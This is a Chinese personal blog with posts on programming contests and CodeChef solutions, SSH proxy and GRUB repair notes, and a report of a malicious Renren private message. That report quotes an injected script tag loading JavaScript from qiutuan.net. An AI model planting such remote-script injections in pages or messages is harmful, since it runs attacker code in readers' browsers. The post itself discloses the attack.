纪念一下

对我来说把TopCoder和CodeForces都做红还是不那么容易的,所以赶紧纪念一下,嗯……

关于TopCoder,其实最早的号还是Dumbear……只是……后来某次去长沙参加现场赛,然后那天下午百度之星,晚上有道难题,大家都心力交瘁了,于是做有道难题的时候就把自己的代码直接copy给了别人,然后……然后就没有然后了……再然后……再然后就有了Dumbear2这个号……

在挣扎了这么长时间,以为这辈子都不会变颜色了之后终于在去年红了,红了之后又做了一场,顿时觉得太可能再做一场又黄回来了,然后……然后就有了LiangYaxiong这个号……

最后一场是前夜的TCO Round 2A,官方决定来决定去最后终于还是valid & rated了……我还是想说,TC你敢不敢把服务器搞好点,熬夜做场unrated的比赛很伤害感情哎……本来这场是要大跌rating的,结果cha了几个人之后排名上去了,但是离晋级还有距离……

最后是CodeForces,也是拜了公开赛所赐,VK Cup之后不仅红了,还获得了去St. Petersburg玩的机会(虽然现在护照还没办好还有可能悲剧)。

武汉梅花节

来晒晒今天的照片~都快夏天了,这武汉的梅花还开得个艳啊…… Continue reading »

Linux下SSH的代理配置

继续来备忘……

由于某服务器对外网只开放了80端口,所以为了使外网用户能够SSH到该服务器,在其80端口设置了代理。为了在Linux下能够SSH到该服务器,需要做如下配置:

执行sudo apt-get install corkscrew安装corkscrew
新建一个包含登录代理的用户名与密码的文件,内容格式为[Username]: [Password],注意设置好文件权限保证安全。假设该文件位于~/.ssh/myauth;
修改SSH配置文件,可能是~/.ssh/config或者/etc/ssh/ssh_config;
加入ProxyCommand corkscrew [代理IP地址] [代理端口] %h %p ~/.ssh/myauth。

如此即可正常SSH了。

关于此这里有更详细的介绍。

修复Ubuntu grub引导

每次重装完Windows系统后都是从网上搜的怎么修复grub引导,就是记不住……还是在这里写一下备忘吧……囧……

进入Ubuntu Live-CD;
执行fdisk -l;
找到Ubuntu挂载点/及/boot(如果存在)所对应的分区,例如/dev/sda1及/dev/sda2;
执行mount /dev/sda1 /mnt及mount /dev/sda2 /mnt/boot(如果存在)挂载分区;
执行grub-install --root-directory=/mnt/boot /dev/sda安装grub到/mnt/boot/grub。

如果原来的grub配置文件没有损坏,则重启后即可恢复grub,进入Ubuntu后,再执行update-grub更新一下即可。

最后放一张高清无码的Windows 8的3D桌上弹球的截图……

Protected: Happy Birthday!

This post is password protected. To view it please enter your password below:


Blog基本恢复正常

由于原来一起合租的VPS坑了爹,也由于我没有良好的备份习惯,因此在VPS挂了以后Blog几乎所有数据都丢失了……现在的Blog架在学校的服务器上,希望以后不要再发生这种事情……

幸好Google Reader保存了原来Blog的日志数据,由于我之前写过一个从Google Reader抓取RSS并制作成方便Kindle阅读的mobi电子书的程序,因此没有费很大周折把原来Blog的日志导入了进来,只可惜图片音频等数据再也找不回来了……

就这么多,Blog基本恢复正常,我现在才明白时常备份数据有多么重要……

PS. 现在的这个主题似乎对中文支持不够好,考虑换掉。

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!

这一年我在干什么啊……

去年:

  • Google Code Jam抢到T-shirt(Top500有),进入Round3
  • TopCoder Open进入Round4,并且差点进入Round5
  • 百度之星进入决赛

今年:

  • Google Code Jam止步Round 2,未抢到T-shirt(Top1000有)
  • TopCoder Open资格赛三场都错过了,不过以我现在的状态肯定会不如去年,至今Rating跟刚开始做TopCoder时差不多……
  • 百度之星未进决赛

 

这一年我在干什么啊……在忙着退步么……加油吧……明年继续……Sigh……

CodeChef May Long Contest 2011

做的第一场CodeChef,发现CodeChef的题目都很好啊,为期10天的比赛,没有难得做不出的题,但也并非都是简单题,以后应该会每个月都做的,并且尽量把解题报告发出来。

传送门:http://www.codechef.com/MAY11/

这是这场比赛中的非常规题,题目的大意就是给你一张无向图,每条边有两个权值,你需要求出一个割,其将无向图分为两个部分,要使得这两部分之间的边的第一权值之和比第二权值之和尽可能的小。

似乎想不出来什么太好的做法。随机生成一些数据,发现很多情况下,将某个点独立出来,其他点放在另外一边所得到的结果是很优的(其实这是天王告诉我的……),因此可以先进行这种计算,得到一个解。之后我又进行了大约50次随机划分,然后进行逐步随机调整,使得结果尽可能小。这样的方法得到的解就已经很优了。

  • The Great Wall of Byteland (BWALL)

题目的大意就是问长度为N、宽度为2的方格被以下两种类型的砖块(可以旋转)填充满有多少种不同的方案。

XX    X
X

这是陈题了,显然有递推公式Fn=2Fn-3+4Fn-2+Fn-1,由此可构造矩阵[0, 1, 0; 0, 0, 1; 2, 4, 1]使用快速幂做矩阵乘法即可。

题目的大意就是给你一张平面图,你可以对任何边进行染色,要使得最终得到的图中每个环上被染色的边数的奇偶性与这个环内包含的面的个数的奇偶性相同。输出任意染色方案即可。

这道题看似复杂,但仔细分析首先可以发现,对于任何一个环,只要其内部的每个面都满足题目要求的条件,则这个环一定是满足条件的。因此问题变为要使得该平面图的每个面上被染色的边数是奇数。注意到假设我们已经求出了一组解,则改变任意一条边的染色与否之后,我们可以顺次沿着面找到一条到达平面图边界面的路径,依次改变这些路径上边的染色与否,则其还是一组可行解。于是我们可以很简单的求出平面图的对偶图,并在对偶图上逐条边进行染色,每次染色进行深度优先搜索即可得到答案。

题目意思很简单,给出整数N,求出满足1<=a<b<=N的整数对(a, b)满足a+b | a*b。

进行简单的分析可以发现,a、b需满足条件a=kx(x+y)、b=ky(x+y)。但为避免重复,需要约定gcd(x, y)=1或k是一个Square-free Integer。最终我的做法是枚举x和y,求出满足条件的Square-free Integer的个数。但即使经过优化,速度仍然不够快。最后基本是猥琐的用C#卡时卡过去的……推荐大家看官方wiki……

题目的大意就是给你一棵带权树,你可以删除一些边,使得删除之后树中的每一个连通块满足该连通块中存在一个点到该连通块中的其他点的距离均不超过给定值d。求出删除边权值之和的最小值。

这个题目可以动态规划求解。记minCosts[i, j]表示以结点i为根的子树,且结点i与结点j之间不断开所需要删除边的最小权值和,则对于结点i的子结点,均需要决策是否和结点i断开。可记minSums[i]表示min{ minCosts[i, k] | 0 <= k < n },则有状态转移方程minCosts[i, j] = sum{ min(minCosts[k, j], minSums[j]+weight[i, j]) | k是i的子结点 }。最终删除边的最小权值和即为minSums[0]。

题目的大意就是给你一棵满二叉树,每个结点都有第一权值。定义一个结点的第二个权值:若为叶结点则为第一权值,否则为其第一权值乘以左右孩子第二权值的最大值。求根节点的第二权值。

显然直接递推或递归就可以了,但有个问题是中间结果要取模,因此不容易求出最大值。注意到整个过程中的运算都是乘积,因此直接取对数后加起来就好。

人人坑爹站内信始末

突然收到俩人人好友发来一模一样的站内信,打开一看内容,顿时觉得不对劲。查看了一下网页源代码,发现下面这句:

<script src='http://qiutuan.net/2011/51.js'></script>

显然就是这个了,下载下来看看,果然是整个过程javascript的源代码……

不得不吐槽,这人够无聊不?+人人站内信连这样的危险代码都不过滤?坑爹啊……

附图两张:


Update:事件的严重性超乎想象,可参考这里:http://blog.renren.com/share/240855148/6243822522